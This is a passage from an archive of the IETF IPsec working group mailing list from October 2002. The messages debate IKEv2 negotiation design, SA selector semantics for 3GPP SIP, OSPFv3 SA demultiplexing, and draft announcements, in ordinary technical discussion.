fine, but for example in the interop testing event it is not ok. The most common place to have bugs there is the table that maps the suite numbers to actual algorithms that are used. There have been such bugs in TLS implementations, and I think there are still such bugs in TLS implementations that are not yet detected, as nobody is using that suite yet... For most of the interop events we have been testing well selected combinations of ciphers, like DES-SHA1-group-2, 3DES-MD5-group-5, AES-SHA1-group1 (to test bigger block size, and to test key expansion from short secret to longer key) etc. Usually those test "suites" would not have been very usefull in practice (like tunnel-with-external-ipv4 esp-blowfish-sha1 ipv6-packet-inside-tunnel ah-md5-transport ipcomp or similar). This would mean that we cannot do similar test as much as possible with very few tests with suites as there would not be such test suites defined. I am quite sure we will end up with too much negotiable parameters that we will need some kind of ala carte negotiation for those, and if so why not use that for also basic parameters too. In IKEv1 the ala carte negotiation was little too extreme, because there you needed to list all "suites" you would accept, i.e if you wanted to support 3des, or aes and md5 or sha1, you end up having 4 transforms. With IKEv2 you would offer cipher 3des or aes, and hash md5 or sha1 and the responder will pick for each list anything he likes. This comes especially handly if you don't really care about the group and say that groups 2, 5, or 2048, 3072 and 4096-bit groups is acceptable. For IKEv1 it would multiple the transform count from 4 to 20. For IKEv2 with ala carte it would simply add 4 more group transforms. It makes the SA payloads much smaller and easier to understand in common case. So I would very much favor the current IKEv2 ala carte method than suites. -- kivinen@ssh.fi SSH Communications Security http://www.ssh.fi/ SSH IPSEC Toolkit http://www.ssh.fi/ipsec/ From owner-ipsec@lists.tislabs.com Mon Oct 7 08:36:37 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g97Fabv09562; Mon, 7 Oct 2002 08:36:37 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA18482 Mon, 7 Oct 2002 10:51:48 -0400 (EDT) From: "Housley, Russ" To: ipsec@lists.tislabs.com Message-Id: <5.1.0.14.2.20021007101843.033608b8@exna07.securitydynamics.com> X-Sender: rhousley@exna07.securitydynamics.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Mon, 07 Oct 2002 10:23:10 -0400 Subject: draft-ietf-ipsec-ciph-aes-ctr-01.txt Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Dear IPsec WG: I posted the updated draft a couple of weeks ago. There are at least two software implementations and one hardware implementation that match the test vectors in the document. I tried to address the comments on the original document that were posted the list. I also addressed some comments that were sent directly to me. There have been no comments on the updated draft. Is it ready to move forward? Russ From owner-ipsec@lists.tislabs.com Mon Oct 7 16:27:33 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g97NRXv01855; Mon, 7 Oct 2002 16:27:33 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id SAA19185 Mon, 7 Oct 2002 18:47:45 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: <3D931E46.1010505@isi.edu> References: <3D931E46.1010505@isi.edu> Date: Mon, 7 Oct 2002 18:39:23 -0400 To: Joe Touch From: Stephen Kent Subject: Re: Protocol and port fields in selectors Cc: ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 7:48 AM -0700 9/26/02, Joe Touch wrote: >sakari.poussa@nokia.com wrote: >>Hi, >> >>I have a question about protocol and src/dst port fields in the SAD >>selectors. >> >>Is it allowed to have the protocol field as wildcard and still >>specify src/dst >>port as a specific value? Or is it so that transport layer protocol >>which actually >>has ports (like TCP/UDP/SCTP) must be specified along with the ports. >> >>I guess it is the latter case according to the rfc2401, page 20 table, but >>I just wanted to be sure. > >Not all transport protocols even have ports (e.g., IP, ICMP, and EGP >are all 'transport' protocols, and none have ports). The port field >is defined only relative to a particular transport protocol. > >To cover multiple protocols under one port (e.g., TCP/NFS and >UDP/NFS) seems to require multiple selectors. > >Joe Joe is right in his response re 2401 and IKEv1. In 2401bis and the next generation key management protocol, we plan to support lists of ranges of selectors, as suggested in the JFK documents, which will allow mapping multiple sets of ports to the same SA. Steve From owner-ipsec@lists.tislabs.com Mon Oct 7 21:52:49 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g984qmv21466; Mon, 7 Oct 2002 21:52:49 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id AAA19629 Tue, 8 Oct 2002 00:19:33 -0400 (EDT) From: sakari.poussa@nokia.com X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Protocol and port fields in selectors Date: Tue, 8 Oct 2002 07:09:46 +0300 Message-ID: Thread-Topic: Protocol and port fields in selectors Thread-Index: AcJuWYUCwYu1tHVPTCyKigqlBLK5iAAJaGIg To: , Cc: X-OriginalArrivalTime: 08 Oct 2002 04:09:47.0543 (UTC) FILETIME=[8A541270:01C26E80] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.tislabs.com id AAA19626 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Steve& Joe, thank you for your responses. The reason why I am asking this is that in 3GPP/IMS the SIP signaling between the mobile phone and SIP-proxy (P-CSCF) is protected with an IPSec SA. The SA is not negotiated with IKE but with a sip-sec-agree negotiation. In the resulting IPSec SA, the protocol is wildcard and the src/dst addresses and ports specified. The rationale is to have a single SA to protect the SIP traffic running on top of UDP and TCP. It seems that some implementations support this scenario while others don't. -sakari >At 7:48 AM -0700 9/26/02, Joe Touch wrote: >>sakari.poussa@nokia.com wrote: >>>Hi, >>> >>>I have a question about protocol and src/dst port fields in the SAD >>>selectors. >>> >>>Is it allowed to have the protocol field as wildcard and still >>>specify src/dst >>>port as a specific value? Or is it so that transport layer protocol >>>which actually >>>has ports (like TCP/UDP/SCTP) must be specified along with the ports. >>> >>>I guess it is the latter case according to the rfc2401, page >20 table, but >>>I just wanted to be sure. >> >>Not all transport protocols even have ports (e.g., IP, ICMP, and EGP >>are all 'transport' protocols, and none have ports). The port field >>is defined only relative to a particular transport protocol. >> >>To cover multiple protocols under one port (e.g., TCP/NFS and >>UDP/NFS) seems to require multiple selectors. >> >>Joe > >Joe is right in his response re 2401 and IKEv1. In 2401bis and the >next generation key management protocol, we plan to support lists of >ranges of selectors, as suggested in the JFK documents, which will >allow mapping multiple sets of ports to the same SA. > >Steve > From owner-ipsec@lists.tislabs.com Tue Oct 8 07:40:02 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g98Ee1v21519; Tue, 8 Oct 2002 07:40:02 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA20498 Tue, 8 Oct 2002 10:05:35 -0400 (EDT) Subject: how to -ipsec Date: Tue, 8 Oct 2002 11:39:10 +0600 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Message-ID: content-class: urn:content-classes:message X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 Thread-Topic: how to -ipsec Thread-Index: AcJujSmJMmjxg9qcEda1tQDATxAATQ== From: "indunil" To: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.tislabs.com id BAA19777 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi I want to setup vpn under Redhat Linux 7.3.So I want to know how to do it. I want to set it up on the firewall (running iptables) .It has 2 ethernets. Pls assume that the setup is in following manner, Site A RouterA VPN TUNNEL RouterB Site B -------192.168.0.1------1.2.3.4------1.2.3.5===================5.6.7.8-----------5.6.7.9 -----------192.168.0.1---------- Site A 192.168.0.1 is the bogus ip of the firewall 1.2.3.4 is the real ip of the firewall 1.2.3.5 is the ip of the router Site B 192.168.0.1 is the bogus ip of the firewall 5.6.7.9 is the real ip of the firewall 5.6.7.8 is the ip of the router I want to set it up with tunnel mode. So pls let me know how to do it under Red Hat Linux 7.3 . Thanks Indunil From owner-ipsec@lists.tislabs.com Tue Oct 8 09:36:56 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g98Gatv28182; Tue, 8 Oct 2002 09:36:55 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA20732 Tue, 8 Oct 2002 11:58:23 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: References: Date: Tue, 8 Oct 2002 11:54:21 -0400 To: sakari.poussa@nokia.com From: Stephen Kent Subject: RE: Protocol and port fields in selectors Cc: Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 7:09 AM +0300 10/8/02, sakari.poussa@nokia.com wrote: >Steve& Joe, thank you for your responses. > >The reason why I am asking this is that >in 3GPP/IMS the SIP signaling between the mobile >phone and SIP-proxy (P-CSCF) is protected with an IPSec SA. >The SA is not negotiated with IKE but with a sip-sec-agree >negotiation. In the resulting IPSec SA, the protocol is >wildcard and the src/dst addresses and ports specified. The >rationale is to have a single SA to protect the SIP traffic >running on top of UDP and TCP. > >It seems that some implementations support this scenario >while others don't. > >-sakari I agree with Joe that this is not a good idea, in general, and hopefully the revised IPsec architecture will avoid the need to do this. 2401 does try to note that only protocols with port fields, e.g., TCP and UDP, should use the port field selectors, but we could be more explicit as we make revisions. I am not too surprised that not all implementations support the config you mention. Steve From owner-ipsec@lists.tislabs.com Tue Oct 8 11:16:43 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g98IGgv04326; Tue, 8 Oct 2002 11:16:42 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA20919 Tue, 8 Oct 2002 13:42:32 -0400 (EDT) Message-ID: <3DA318ED.6080702@isi.edu> Date: Tue, 08 Oct 2002 10:42:05 -0700 From: Joe Touch User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: sakari.poussa@nokia.com CC: kent@bbn.com, ipsec@lists.tislabs.com Subject: Re: Protocol and port fields in selectors References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk sakari.poussa@nokia.com wrote: > Steve& Joe, thank you for your responses. > > The reason why I am asking this is that > in 3GPP/IMS the SIP signaling between the mobile > phone and SIP-proxy (P-CSCF) is protected with an IPSec SA. > The SA is not negotiated with IKE but with a sip-sec-agree > negotiation. In the resulting IPSec SA, the protocol is > wildcard and the src/dst addresses and ports specified. The > rationale is to have a single SA to protect the SIP traffic > running on top of UDP and TCP. > > It seems that some implementations support this scenario > while others don't. Hi, Sakari, Agreed on your last point. There might be utility to saying "TCP or UDP", e.g., for NFS, DNS or similar traffic that might use either. For most other protocols, although both ports are allocated, only one is generally used. It seems dangerous to let the transport protocol field completely float but to pin down the port number. There is no universal allocation of ports except relative to a transport protocol; there is no guarantee that new transport protocols (DCP, SCTP, etc.) will allocate ports with the same meaning. At best, though, it seems like this cuts the database down by a factor of 2; is there that much utility to such an optimization? Joe From owner-ipsec@lists.tislabs.com Wed Oct 9 08:01:39 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g99F1dv19613; Wed, 9 Oct 2002 08:01:39 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA22783 Wed, 9 Oct 2002 10:14:47 -0400 (EDT) From: sakari.poussa@nokia.com X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Protocol and port fields in selectors Date: Wed, 9 Oct 2002 17:14:45 +0300 Message-ID: Thread-Topic: Protocol and port fields in selectors Thread-Index: AcJu8goXsC1M3uwcSWm7QA5SNN+pUgAqhsig To: Cc: , X-OriginalArrivalTime: 09 Oct 2002 14:14:45.0714 (UTC) FILETIME=[38232B20:01C26F9E] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.tislabs.com id KAA22780 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk >sakari.poussa@nokia.com wrote: >> Steve& Joe, thank you for your responses. >> >> The reason why I am asking this is that >> in 3GPP/IMS the SIP signaling between the mobile >> phone and SIP-proxy (P-CSCF) is protected with an IPSec SA. >> The SA is not negotiated with IKE but with a sip-sec-agree >> negotiation. In the resulting IPSec SA, the protocol is >> wildcard and the src/dst addresses and ports specified. The >> rationale is to have a single SA to protect the SIP traffic >> running on top of UDP and TCP. >> >> It seems that some implementations support this scenario >> while others don't. > Joe Touch wrote: >Agreed on your last point. There might be utility to saying "TCP or >UDP", e.g., for NFS, DNS or similar traffic that might use either. For >most other protocols, although both ports are allocated, only one is >generally used. > >It seems dangerous to let the transport protocol field >completely float >but to pin down the port number. There is no universal allocation of >ports except relative to a transport protocol; there is no guarantee >that new transport protocols (DCP, SCTP, etc.) will allocate >ports with >the same meaning. In 3G/IMS SIP case, the mobile phone binds to the same local port for TCP and UDP. For the remote ports, the SIP uses 5060 for both TCP and UDP. So in this case, the local&remote ports are the same for both protocols, and that's why there is temptation to use wildcard for the protocol field. So it would work for this application, and may not be literally according to the spec., but why do you think it is dangerous? >At best, though, it seems like this cuts the database down by a factor >of 2; is there that much utility to such an optimization? That is actually the whole idea; to reduce the number of SAs. Since we are talking about several hundred thousands of SAs, cutting the size in half reduces the memory requirements (a lot) and improves performance. >Joe -sakari From owner-ipsec@lists.tislabs.com Wed Oct 9 10:00:23 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g99H0Mv27826; Wed, 9 Oct 2002 10:00:22 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id MAA23030 Wed, 9 Oct 2002 12:19:39 -0400 (EDT) Message-ID: <3DA456EE.10707@isi.edu> Date: Wed, 09 Oct 2002 09:18:54 -0700 From: Joe Touch User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: sakari.poussa@nokia.com CC: kent@bbn.com, ipsec@lists.tislabs.com Subject: Re: Protocol and port fields in selectors References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk sakari.poussa@nokia.com wrote: ... >>It seems dangerous to let the transport protocol field >>completely float >>but to pin down the port number. There is no universal allocation of >>ports except relative to a transport protocol; there is no guarantee >>that new transport protocols (DCP, SCTP, etc.) will allocate >>ports with >>the same meaning. > > In 3G/IMS SIP case, the mobile phone binds to the same local port > for TCP and UDP. For the remote ports, the SIP uses 5060 for > both TCP and UDP. So in this case, the local&remote ports > are the same for both protocols, and that's why there is > temptation to use wildcard for the protocol field. > > So it would work for this application, and may not be literally > according to the spec., but why do you think it is dangerous? What happens if/when those ports are used by a new transport protocol, e.g, for an application of which you are not aware? >>At best, though, it seems like this cuts the database down by a factor >>of 2; is there that much utility to such an optimization? > > That is actually the whole idea; to reduce the number of SAs. Since > we are talking about several hundred thousands of SAs, cutting the size > in half reduces the memory requirements (a lot) and improves performance. That's purely an implementation detail. It seems sufficient in this case to implement it as an extra bit that says "TCP and UDP", rather than to leave it as a completely open wildcard. Joe From owner-ipsec@lists.tislabs.com Wed Oct 9 11:36:43 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g99Iagv04933; Wed, 9 Oct 2002 11:36:43 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA23287 Wed, 9 Oct 2002 13:59:16 -0400 (EDT) Date: 9 Oct 2002 13:39:47 -0400 Message-ID: <007f01c26fba$dda36b70$1e72788a@ca.alcatel.com> From: "Andrew Krywaniuk" Reply-To: andrew.krywaniuk@alcatel.com To: "'sakari'" Cc: "'ipsec'" Subject: RE: Protocol and port fields in selectors MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: Sender: owner-ipsec@lists.tislabs.com Precedence: bulk > That is actually the whole idea; to reduce the number of SAs. Since > we are talking about several hundred thousands of SAs, > cutting the size > in half reduces the memory requirements (a lot) and improves > performance. This is essentially the argument against port and protocol based SAs in general. If you just used a firewall rule to block stray packets you wouldn't have this problem. Trying to reduce the memory footprint after mandating port-constrained SAs is like optimizing bubble sort. Andrew ------------------------------------------- There are no rules, only regulations. Luckily, history has shown that with time, hard work, and lots of love, anyone can be a technocrat. From owner-ipsec@lists.tislabs.com Wed Oct 9 19:54:44 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9A2shv03139; Wed, 9 Oct 2002 19:54:43 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id WAA23953 Wed, 9 Oct 2002 22:22:44 -0400 (EDT) Mime-Version: 1.0 X-Sender: phoffvpnc@mail.vpnc.org Message-Id: X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Wed, 9 Oct 2002 20:23:08 -0600 To: ipsec@lists.tislabs.com From: Paul Hoffman / VPNC Subject: Fwd: WG Action: Securing Neighbor Discovery (send) Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk This is of probable interest to the WG. >From: The IESG >To: IETF-Announce: ; >Subject: WG Action: Securing Neighbor Discovery (send) >Date: Wed, 09 Oct 2002 15:47:17 -0400 >Sender: jhargest@cnri.reston.va.us > > > >A new IETF working group has been established in the Internet Area. >Please contact the Area Directors or WG Chairs for additional >information. > > >Securing Neighbor Discovery (send) >---------------------------------- > > Current Status: Active Working Group > > Chair(s) > Pekka Nikander > J. Kempf > > Internet Area Director(s) > Thomas Narten > Erik Nordmark > > Internet Area Advisor > Erik Nordmark > > Mailing Lists > General Discussion ietf-send@standards.ericsson.net > To Subscribe Majordomo@standards.ericsson.net > In Body subscribe ietf-send > Archive > http://standards.ericsson.net/lists/ietf-send/threads.html > >Description of Working Group > >Neighbor Discovery is the basic protocol by which IPv6 nodes discover >their default routers on the local link, and by which nodes on a local >link resolve IPv6 addresses to MAC layer addresses, for delivery of >packets on the local link. Neighbor Discovery is specified in RFC >2461. One of the design principles behind Neighbor Discovery is to >enable zero configuration, i.e., to allow hosts to start communicating >with other hosts at the local link and in the Internet without any >requirements for manual configuration. > >RFC 2461 specifies that IPsec AH should be used to secure signaling >for Neighbor Discovery. Due to bootstrapping issues, only manual keying >works and that is impractical for most cases. This is in conflict with >the goal of Neighbor Discovery, namely to allow complete >address autoconfiguration of a node. > >The objective of this working group is to define protocol support for >securing IPv6 Neighbor Discovery without requiring manual keying. The >following are charter items for the working group > >1) A threat assessment and trust model for local links will be > worked out. The threat assessment will clearly describe which > threats the Neighbor Discovery security solution(s) will address > and which are not addressed. The trust model will describe what > types of networks require what level of security solution. > Together these form a clear problem statement and a set of > requirements. > >2) A protocol for assuring authenticatable distribution of public keys, > that allows for example tying a public key to a node's IP address or > interface ID, and for example authenticating a router's > authorization to route, will be designed. The working group will > consider the presentation by Steve Bellovin at the SEND BOF as a > starting point. > >3) The use of the key distribution protocol and public key > cryptographic scheme for calculating digital signatures > in IPsec AH and/or ESP headers will be specified. IANA > may be requested to reserve one or more of the reserved > SPIs (1-255) for the protocol. > >The Working Group will attempt to use well-known and existing public >key cryptographic protocols with good security properties, in order to >reduce the risk of unintended side effects, and to expedite the >completion of the work. The protocol will be designed to assure that all >functions of RFC 2461 and RFC 2462 are addressed. > >Specifically out of scope is IPv4 and ARP. Although ARP has similar >problems, there is a huge installed base of ARP. It seems unlikely that >any substantial fraction of that installed based would be updated >quickly enough to make a difference. On the other hand, IPv6 deployment >is still its initial stages, and changes to Neighbor Discovery are more >likely to be widely adopted, if the Working Group executes quickly >enough on its task. > > Goals and Milestones > > NOV 02 First draft of draft-ietf-send-psreq-00.txt, the combined > Neighbor Discovery threats and trust model drafts. > > DEC 02 Complete draft-ietf-send-psreq-xx.txt and send to IESG for > approval. > > MAR 03 Complete selection of a public key scheme. Initial draft of > key distribution protocol, draft-ietf-send-protocol-00.txt. > > JUL 03 Intermediate draft of draft-ietf-send-protocol-xx.txt > submitted to Security Directorate for security review. > > DEC 03 Submit draft-ietf-send-protocol-xx.txt to IESG for > approval. From owner-ipsec@lists.tislabs.com Thu Oct 10 07:09:32 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9AE9Vv12135; Thu, 10 Oct 2002 07:09:31 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA24993 Thu, 10 Oct 2002 09:23:08 -0400 (EDT) From: sakari.poussa@nokia.com X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Protocol and port fields in selectors Date: Thu, 10 Oct 2002 16:19:48 +0300 Message-ID: Thread-Topic: Protocol and port fields in selectors Thread-Index: AcJvr5d3FcshmDGgTPq8uFOYJn7W9wAr01jQ To: Cc: , X-OriginalArrivalTime: 10 Oct 2002 13:19:48.0859 (UTC) FILETIME=[B578C4B0:01C2705F] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.tislabs.com id JAA24990 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk sakari.poussa@nokia.com wrote: >> In 3G/IMS SIP case, the mobile phone binds to the same local port >> for TCP and UDP. For the remote ports, the SIP uses 5060 for >> both TCP and UDP. So in this case, the local&remote ports >> are the same for both protocols, and that's why there is >> temptation to use wildcard for the protocol field. >> >> So it would work for this application, and may not be literally >> according to the spec., but why do you think it is dangerous? > Joe Touch wrote: >What happens if/when those ports are used by a new transport protocol, >e.g, for an application of which you are not aware? You are rigth, it does not work. The assumption is that the same ports will be used for the new transport protocol. >>>At best, though, it seems like this cuts the database down >by a factor >>>of 2; is there that much utility to such an optimization? >> >> That is actually the whole idea; to reduce the number of SAs. Since >> we are talking about several hundred thousands of SAs, >cutting the size >> in half reduces the memory requirements (a lot) and improves >performance. > >That's purely an implementation detail. It seems sufficient in >this case >to implement it as an extra bit that says "TCP and UDP", >rather than to >leave it as a completely open wildcard. Yes, I'll buy that one! I was actually thinking it myself, but the selector fields (in general) do not have this kind of AND/OR capabilties. But one can easily add that. >Joe -sakari From owner-ipsec@lists.tislabs.com Thu Oct 10 07:10:32 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9AEAVv12193; Thu, 10 Oct 2002 07:10:31 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA25005 Thu, 10 Oct 2002 09:29:09 -0400 (EDT) From: sakari.poussa@nokia.com X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Protocol and port fields in selectors Date: Thu, 10 Oct 2002 16:25:30 +0300 Message-ID: Thread-Topic: Protocol and port fields in selectors Thread-Index: AcJvvZJ7q1lozel/RhKUye9/Za+TAgAokdOA To: Cc: X-OriginalArrivalTime: 10 Oct 2002 13:25:31.0546 (UTC) FILETIME=[81BAA7A0:01C27060] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.tislabs.com id JAA25002 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk sakari.poussa@nokia.com wrote: >> That is actually the whole idea; to reduce the number of SAs. Since >> we are talking about several hundred thousands of SAs, >> cutting the size >> in half reduces the memory requirements (a lot) and improves >> performance. > andrew.krywaniuk@alcatel.com wrote: >This is essentially the argument against port and protocol based SAs in >general. If you just used a firewall rule to block stray packets you >wouldn't have this problem. Trying to reduce the memory footprint after >mandating port-constrained SAs is like optimizing bubble sort. I agree. But the way the 3GPP/IMS has specified the SIP IPSec protection, we need to use the port numbers in the SAs. That is, some traffic will be sent in clear (unprotected port) while other traffic is IPSec protected (protected port). Too bad ;( >Andrew -sakari From owner-ipsec@lists.tislabs.com Thu Oct 10 11:44:28 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9AIiRv01145; Thu, 10 Oct 2002 11:44:27 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA25563 Thu, 10 Oct 2002 14:08:20 -0400 (EDT) Message-ID: <4B8DD52AB570D311BEDE0008C7E6198806035D46@boca212a.boca.ssc.siemens.com> From: "Sivakoti, Suresh" To: ipsec@lists.tislabs.com Subject: ISAKMP Exchanges and IKE Modes Date: Thu, 10 Oct 2002 14:08:02 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hello anybody could tell me mapping between ISAKMP - HDR exchanges to IKE Modes. ISAKMP Exchange IKE Mode Base ? Identity Protection MAIN MODE Authentication Only ? Aggressive Aggressive Informational Informational Does this mean Base & Authentication exchanges are not used in IKE ? Please clarify thanks Suresh Sivakoti From owner-ipsec@lists.tislabs.com Mon Oct 14 15:09:22 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9EM9LW11275; Mon, 14 Oct 2002 15:09:21 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id RAA03538 Mon, 14 Oct 2002 17:15:41 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: <3D924D4D.35EBF621@iprg.nokia.com> References: <3D91A3BE.2070904@6wind.com> <3D924D4D.35EBF621@iprg.nokia.com> Date: Mon, 14 Oct 2002 17:00:12 -0400 To: Mukesh Gupta From: Stephen Kent Subject: Re: draft-gupta-ospf-ospfv3-auth-01.txt Cc: Jean-Mickael Guerin , ipsec@lists.tislabs.com, nmelam@iprg.nokia.com, OSPF@DISCUSS.MICROSOFT.COM Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 4:57 PM -0700 9/25/02, Mukesh Gupta wrote: >Hi Jean-Mickael, > >Thanks for the correction. You are right. Word OSPF needs to be removed from >there. The new sentence should be >"In the incoming path, protocol, SPI and ingress interface ID MUST be used >to locate the SA to be applied." >where the protocol can be ESP or AH. > >Check against the inbound policy linked to the SA should be done by the >general IPsec implementation. I don't see anything that needs to be handled >differently for OSPFv3. So, I think, we don't need to add anything about it >in this draft. > >I will make the suggested correction in the next version of the draft. > >Cheers. >Mukesh The new text on how to demux SAs, that appeared in the revised ESP and AH IDs several months ago, does not appear to be consistent with what appears above, nor does that text appear to be consistent with the old demuxing text. What we used to say was that one used the destination IP address, security protocol (AH or ESP) and the SPI to select an SA. We realized that, except for multicast addresses, the destination address is not relevant to the demuxing, and that the security protocol was generally not needed, since the 32-bit SA is big enough to provide lots of SAs without using the protocol field. So, the revised text now says that one looks only at the SPI for unicast traffic, and at the SPI and destination IP address for multicast traffic. There is no notion of per-interface SAD entries, only per-interface SPD entries. The text above seems to imply that the same SPI might be used for two different SAs, that are distinguished by the interfaces via which packets arrive. That is not consistent with the old or revised IPsec specs. Only if each interface has its own IPsec implementation would the description above seem to be consistent. Steve From owner-ipsec@lists.tislabs.com Mon Oct 14 15:35:06 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9EMZ5W12244; Mon, 14 Oct 2002 15:35:05 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id SAA03603 Mon, 14 Oct 2002 18:08:17 -0400 (EDT) From: Charlie_Kaufman@notesdev.ibm.com Subject: Revised SOI Internet Draft to be posted To: ipsec@lists.tislabs.com X-Mailer: Lotus Notes Build V60_09172002NP September 17, 2002 Message-ID: Date: Mon, 14 Oct 2002 18:05:35 -0400 X-MIMETrack: Serialize by Router on Capricorn/Iris(Build V60_09262002NP|September 26, 2002) at 10/14/2002 06:02:08 PM MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Sender: owner-ipsec@lists.tislabs.com Precedence: bulk I have just sent to the internet drafts editor a revised draft: draft-ietf-ipsec-ikev2-03.txt . I don't know how long it takes to get such things posted, I don't have a public web site to post it on, and it seemed rude to spam this list with such a large document. I've sent copies to a few people in hopes that one of them can post it and announce its availability here. I am unfortunately going to out of town for the rest of 